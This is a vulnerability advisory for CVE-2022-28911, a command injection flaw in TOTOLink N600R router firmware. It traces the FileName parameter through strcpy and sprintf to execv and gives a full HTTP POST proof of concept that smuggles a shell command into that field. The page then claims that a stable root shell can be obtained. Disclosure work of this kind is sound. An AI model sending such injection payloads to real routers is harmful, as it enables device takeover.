CVE-2022-28911: IOT_vuln/TOTOLink/N600R/7 at main · EPhaha/IOT_vuln

TOTOlink N600R V5.3c.7159_B20190425 Command injection vulnerability****Overview

• Manufacturer’s website information：http://www.totolink.cn
• Firmware download address ： http://www.totolink.cn/home/menu/detail.html?menu_listtpl=download&id=2&ids=36

1. Affected version

Figure 1 shows the latest firmware Ba of the router

Vulnerability details

The program passes the contents obtained by the filename parameter to V8, then copies V8 into the stack of V15 through the strcpy function, and then brings V15 into update_ In FW function

At this time, the corresponding parameter is A2

Function A2 formats the matched content into the stack of V11 through the sprintf function, and then brings V11 into the cstesystem function

At this time, corresponding to the parameter A1, the function assigns A1 to the array of V9, and finally executes the command through the execv function. There is a command injection vulnerability

Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

1. Use the fat simulation firmware V5.3c.7159_B20190425

2. Attack with the following POC attacks

   POST /cgi-bin/cstecgi.cgi HTTP/1.1 Host: 192.168.0.1 Content-Length: 86 Accept: / X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://192.168.0.1 Referer: http://192.168.0.1/telnet.asp?timestamp=1647874864 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: SESSION_ID=2:1647874864:2 Connection: close

   { "topicurl":"setting/CloudACMunualUpdate", "FileName":"test$(ls > /tmp/9.txt)" }

The reproduction results are as follows:

Figure 2 POC attack effect

Finally, you can write exp, which can achieve a very stable effect of obtaining the root shell